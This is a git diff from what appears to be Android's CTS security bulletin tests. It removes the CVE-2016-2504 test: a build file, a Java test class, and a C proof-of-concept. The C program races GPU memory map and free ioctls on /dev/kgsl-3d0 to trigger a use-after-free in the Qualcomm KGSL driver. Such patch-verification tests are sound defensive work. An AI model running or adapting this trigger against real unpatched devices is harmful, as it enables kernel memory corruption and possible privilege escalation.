diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index f40737f..2ab9576 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -36,7 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" />
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
deleted file mode 100644
index 51e6dd8..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2504
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-
-LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
-$(CTS_TESTCASES_OUT)/CVE-2016-2504 : $(LOCAL_BUILT_MODULE) | $(ACP)
-	$(copy-file-to-target)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
deleted file mode 100644
index b272328..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-*      http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-enum kgsl_user_mem_type {
-  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
-  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
-  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
-  KGSL_USER_MEM_TYPE_ION = 0x00000003,
-  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
-};
-
-/*
- * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
- * leave a good value for allocated memory. In the flags we use
- * 0 to indicate allocated memory and thus need to add 1 to the enum
- * values.
- */
-#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
-
-#define KGSL_MEMFLAGS_NOT_USERMEM 0
-#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
-#define KGSL_MEMFLAGS_USERMEM_ASHMEM                                           \
-  KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
-#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
-#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
-
-/* add a block of pmem, fb, ashmem or user allocated address
- * into the GPU address space */
-struct kgsl_map_user_mem {
-  int fd;
-  unsigned long gpuaddr; /*output param */
-  size_t len;
-  size_t offset;
-  unsigned long hostptr; /*input param */
-  enum kgsl_user_mem_type memtype;
-  unsigned int flags;
-};
-
-#define IOCTL_KGSL_MAP_USER_MEM                                                \
-  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
-
-/* remove memory from the GPU's address space */
-struct kgsl_sharedmem_free {
-  unsigned long gpuaddr;
-};
-
-#define IOCTL_KGSL_SHAREDMEM_FREE                                              \
-  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
-
-#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
-#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
-
-#define TRUE 1
-
-struct kgsl_map_user_mem allocArg;
-struct kgsl_sharedmem_free freeArg;
-
-int fd;
-int thread_exit = 1;
-
-void *alloc_thread(void*);
-void *free_thread(void*);
-void kgsl_poc(void);
-
-void *alloc_thread() {
-  while (thread_exit) {
-    allocArg.fd = -1;
-    allocArg.gpuaddr = 0x0;
-    allocArg.len = 4096;
-    allocArg.offset = 0;
-    allocArg.hostptr = (unsigned long)malloc(allocArg.len);
-    allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
-    allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
-
-    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
-
-    if (ret < 0) {
-      printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
-             strerror(errno));
-      return NULL;
-    } else if (!allocArg.gpuaddr) {
-      allocArg.gpuaddr = allocArg.hostptr;
-    }
-
-    volatile unsigned long *pGPU = &allocArg.gpuaddr;
-
-    while (*pGPU) {
-      if (thread_exit)
-        break;
-    }
-
-    free((void *)allocArg.hostptr);
-  }
-  return NULL;
-}
-
-void *free_thread() {
-  volatile unsigned long *pGPU = &allocArg.gpuaddr;
-  freeArg.gpuaddr = 0x0;
-
-  while (!freeArg.gpuaddr) {
-    freeArg.gpuaddr = *pGPU;
-  }
-
-  while (thread_exit) {
-    ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
-    *pGPU = 0x0;
-  }
-  return NULL;
-}
-
-void kgsl_poc() {
-  pthread_t allocTid, freeTid;
-  fd = open("/dev/kgsl-3d0", 0);
-
-  if (fd < 0) {
-    printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
-           strerror(errno));
-    exit(-1);
-  }
-
-  pthread_create(&allocTid, NULL, alloc_thread, NULL);
-  pthread_create(&freeTid, NULL, free_thread, NULL);
-  pthread_join(allocTid, NULL);
-  pthread_join(freeTid, NULL);
-}
-int main() {
-  kgsl_poc();
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
deleted file mode 100644
index 5ed4c22..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
-}